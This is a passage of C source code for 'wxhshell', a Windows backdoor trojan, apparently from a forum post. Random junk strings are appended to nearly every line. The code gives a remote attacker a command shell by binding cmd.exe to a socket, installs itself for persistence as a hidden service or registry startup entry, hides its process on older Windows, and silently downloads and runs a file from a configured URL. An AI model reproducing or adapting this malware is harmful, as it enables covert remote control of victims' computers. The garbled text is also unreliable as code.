  .{D[!Dp#h  
  // 帮助 bHcb+TR3  
  case '?': {  mfOr+   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H=]$9ZH!  
    break; SeAokz>  
  } $Ch!]lJA  
  // 安装 3/8o)9f.  
  case 'i': { ,Iq+v  
    if(Install()) 6'W79  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6N(Wv0b $  
    else v :]y#y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `we2zT  
    break; j Efrxlj  
    } 2|F.JG^  
  // 卸载 E :*!an  
  case 'r': { [dFxW6n  
    if(Uninstall()) p,}-8#K[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /b,M492  
    else 3:jKuOX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uRG0} >]|U  
    break; Gxv@a   
    } x P{L%.  
  // 显示 wxhshell 所在路径 {'Nvs_{6  
  case 'p': { )hj77~{ +  
    char svExeFile[MAX_PATH]; rz+G]J  
    strcpy(svExeFile,"\n\r"); /s& xI  
      strcat(svExeFile,ExeFile); {U(-cdU{e`  
        send(wsh,svExeFile,strlen(svExeFile),0); )0`;leli  
    break; "L.)ML  
    } &H,5f#  
  // 重启 u7G@VZ Ux5  
  case 'b': { [P8Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yXS ~PG  
    if(Boot(REBOOT)) `;WiTE)&)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /A\'_a|  
    else { 5%(J+d  
    closesocket(wsh); 8lI#D)}  
    ExitThread(0); ,@%1q)S?A  
    } 1g9Q vz3  
    break; Xtbuy/8"1  
    } 1i#uKKwE  
  // 关机 hXM8`iFW5  
  case 'd': { eS fT +UL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EHkb{Q8  
    if(Boot(SHUTDOWN)) 4>>{}c!nf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &#v^y 3r  
    else { VJBVk8P  
    closesocket(wsh); kt%9PGw  
    ExitThread(0); 67%eAS  
    } lxj_ (Uo  
    break; 5+rYk|*D+k  
    } J|_&3@r  
  // 获取shell A?|KA<&m#u  
  case 's': { &>0=v  
    CmdShell(wsh); LW?] ~|  
    closesocket(wsh); f'F:U^  
    ExitThread(0); >T;"bc b  
    break; &}32X-~y  
  } EAxg>}'1j  
  // 退出 -VD[iH  
  case 'x': { w7p%6m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )`F? {Sg  
    CloseIt(wsh); 3!Zd]1$  
    break; uzG<(Q pu  
    } ?VEJk,/k  
  // 离开 .3qaaXeH  
  case 'q': { yk!,{Q?<$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H)t YxW  
    closesocket(wsh); gg'lb{oG  
    WSACleanup(); Sd' uXX@  
    exit(1); u 9 1;GBY  
    break; OgyETSN8C  
        } f3lFpS  
  } +`kfcA#pi  
  } jIK *psaV  
()JM161  
  // 提示信息 %/~6Qq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;5=J'8f  
} hEsCOcEG  
  } tS#EqMf&o  
Ge@./SGT  
  return; '?E^\\"*  
} )b"H]"  
T=:O(R1*0  
// shell模块句柄 b=:AFs{  
int CmdShell(SOCKET sock) ~l}rYi>g%  
{ *rSMD_>  
STARTUPINFO si; H!4!1J.=xw  
ZeroMemory(&si,sizeof(si)); !Y!Cv %  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {#: js  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~;aSX1   
PROCESS_INFORMATION ProcessInfo; 3^q,'!PfB  
char cmdline[]="cmd"; {\ P$5O{%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C16MzrB}(N  
  return 0; j*x8K,fN  
} /S$p_7N  
-_ .f&l8  
// 自身启动模式 l] WV gu  
int StartFromService(void) } Ga@bY6  
{ dI5Z*"`R9  
typedef struct A@j;H|  
{ 1}tZ,w>  
  DWORD ExitStatus; w}G2m)(  
  DWORD PebBaseAddress; :t?9$ dL  
  DWORD AffinityMask; C<r7d [  
  DWORD BasePriority; /gL(40  
  ULONG UniqueProcessId; xM9EO(u  
  ULONG InheritedFromUniqueProcessId; DOaEz?2)  
}   PROCESS_BASIC_INFORMATION; R/waWz\D  
pB|L%#.cW  
PROCNTQSIP NtQueryInformationProcess; \OHsCG27  
pNcNU[c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -?!|W-}@G=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iH#~eg  
muQH!Q  
  HANDLE             hProcess; s!~M,zsQN  
  PROCESS_BASIC_INFORMATION pbi; l\- 1W2  
mk~i (Ee  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3q R@$pm  
  if(NULL == hInst ) return 0; XrYMv WT  
U/>f" F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A-~#ydv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9<k<HmkD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nm--h$G  
fa=#S  
  if (!NtQueryInformationProcess) return 0; Mlb=,l  
&0K; Vr~D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <P'^olQ  
  if(!hProcess) return 0; $JypVA(CX  
&32qv` V_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4;M  
W,`u5gbT  
  CloseHandle(hProcess); N;>>HN[bBP  
*DLv$/(0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7I/Sfmqy"O  
if(hProcess==NULL) return 0; ';+;  
brb8C%j}9  
HMODULE hMod; >@[`,  
char procName[255]; AU}lKq7%  
unsigned long cbNeeded; "6~pTHT  
u'd+:uH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q#pBlJ.LK  
t ^&:45~Q  
  CloseHandle(hProcess); K?BWl:^x  
V,<,;d fR  
if(strstr(procName,"services")) return 1; // 以服务启动 }H?8~S =  
G&0&*mp  
  return 0; // 注册表启动  V-}d-Y  
} M/5/Tp  
Y)N(uv6  
// 主模块 A]Zp1XEG  
int StartWxhshell(LPSTR lpCmdLine) h.%VWsAO7  
{ 8d-; ;V  
  SOCKET wsl; 6]\F_Z41  
BOOL val=TRUE; X9/V;!  
  int port=0; % rdW:  
  struct sockaddr_in door; P~#!-9?  
CJJ 1aM  
  if(wscfg.ws_autoins) Install(); '# "Z$  
Y` LZ/Tgk  
port=atoi(lpCmdLine); "}\2zub9  
req=w;E:  
if(port<=0) port=wscfg.ws_port; V8NJ0fF  
6ApW+/  
  WSADATA data; ,M>W)TSH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; blid* @-  
Fw+JhI VP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rzDqfecOmW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -]Z!_[MlDF  
  door.sin_family = AF_INET; H+F?)VX}oA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HoT5 5v!o  
  door.sin_port = htons(port); x1/Usupi  
Z"lL=0rY/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j5R= K*y  
closesocket(wsl); ynw^nmM  
return 1; Jb6rEV>  
} x-nwo:OA  
Umv_{n`  
  if(listen(wsl,2) == INVALID_SOCKET) { |}es+<P  
closesocket(wsl); u4IgPCTZ+  
return 1; j~\\,fl=  
} mZ/?uPIa  
  Wxhshell(wsl); 7Hf6$2Wh  
  WSACleanup(); GL@s~_;T6  
u7^Z7; J  
return 0; L FHyiIO  
<!y_L5S|   
} (dpBGt@  
? Q.Y  
// 以NT服务方式启动 9=rYzA?)+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oFoG+H"&7\  
{ ppR_y  
DWORD   status = 0; plsf` a  
  DWORD   specificError = 0xfffffff; \z:p"eua z  
01H3@0Q6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n-Dr/c4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T(a* d7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0w< iz;30  
  serviceStatus.dwWin32ExitCode     = 0; 'V4.umj1~  
  serviceStatus.dwServiceSpecificExitCode = 0; T>g1! -^  
  serviceStatus.dwCheckPoint       = 0; qlPjz*<h"H  
  serviceStatus.dwWaitHint       = 0; _]j=[|q 9  
y|.wL=;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /J/r62  
  if (hServiceStatusHandle==0) return; mrFMdpaHl%  
+ywWQ|V  
status = GetLastError(); 8}xU]N#EV  
  if (status!=NO_ERROR) Jfo|/JQ  
{ 3`^ ]#Dh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LMsbTF@E  
    serviceStatus.dwCheckPoint       = 0; jd]MC*%  
    serviceStatus.dwWaitHint       = 0; tDy1Gh/c  
    serviceStatus.dwWin32ExitCode     = status; Sl:\5]'yJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; " 8;D^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $T;3*D90  
    return; ai#EFo+#  
  } eFsku8$<  
u>k;P UH4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D@DK9?#  
  serviceStatus.dwCheckPoint       = 0; SkvKzV.R;  
  serviceStatus.dwWaitHint       = 0; (ter+rTv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h2=zvD;  
} y"t5%Iv  
OX8jCW  
// 处理NT服务事件,比如:启动、停止 %6Hn1'7+v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HFo}r~  
{ SB$~Btr  
switch(fdwControl) @3VL _g:  
{ ~\ie/}zYj  
case SERVICE_CONTROL_STOP: Q=uwmg86  
  serviceStatus.dwWin32ExitCode = 0; n[ba  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3vrQY9H>  
  serviceStatus.dwCheckPoint   = 0; ,wRrx&  
  serviceStatus.dwWaitHint     = 0; I62Yg p$K  
  { .~b6wi&n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >z[d ~  
  } 6|_ S|N  
  return; !p0FJ].g,  
case SERVICE_CONTROL_PAUSE: Z>CFH9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BOh&Db*  
  break; )>TA|W]@  
case SERVICE_CONTROL_CONTINUE: ^e&,<+qY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _fMooI)U1  
  break; N3x}YHFF  
case SERVICE_CONTROL_INTERROGATE: 3`, m=1[)  
  break; {/n$Y|TIQt  
}; h[XGFz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b~#rUOXb8?  
} K32eZv`T7  
fl)Oto7  
// 标准应用程序主函数 1 ViDS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (AwbZn*  
{ hp>me*vzr  
Y61E|:fV!  
// 获取操作系统版本 P!]DV$o  
OsIsNt=GetOsVer(); JVXBm]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9k$uo_i'  
!r[uwJ=  
  // 从命令行安装 K0+J!- a]7  
  if(strpbrk(lpCmdLine,"iI")) Install(); aZBaIl6I  
D ORFK  
  // 下载执行文件 [q(7Jv  
if(wscfg.ws_downexe) { nk-?$'i9q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DtZkrj)D/  
  WinExec(wscfg.ws_filenam,SW_HIDE); i 5_g z>  
} T.K$a\/{,  
9I pjY~or  
if(!OsIsNt) { y<#y3M!\  
// 如果时win9x,隐藏进程并且设置为注册表启动 VBd.5YW  
HideProc(); }O!LTD  
StartWxhshell(lpCmdLine); RS$:]hxd>_  
} l'o'q7&=z  
else v"bOv"!al  
  if(StartFromService()) 8E$KR:/:4  
  // 以服务方式启动 Xw![}L >  
  StartServiceCtrlDispatcher(DispatchTable); KH[%HN5v  
else Sc*p7o: A  
  // 普通方式启动 [!DLT6Qk  
  StartWxhshell(lpCmdLine); <M 7WWtmx  
wddF5EcK0  
return 0; Bj\0RmVa1  
}
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只看该作者 1 发表于: 2006-10-10
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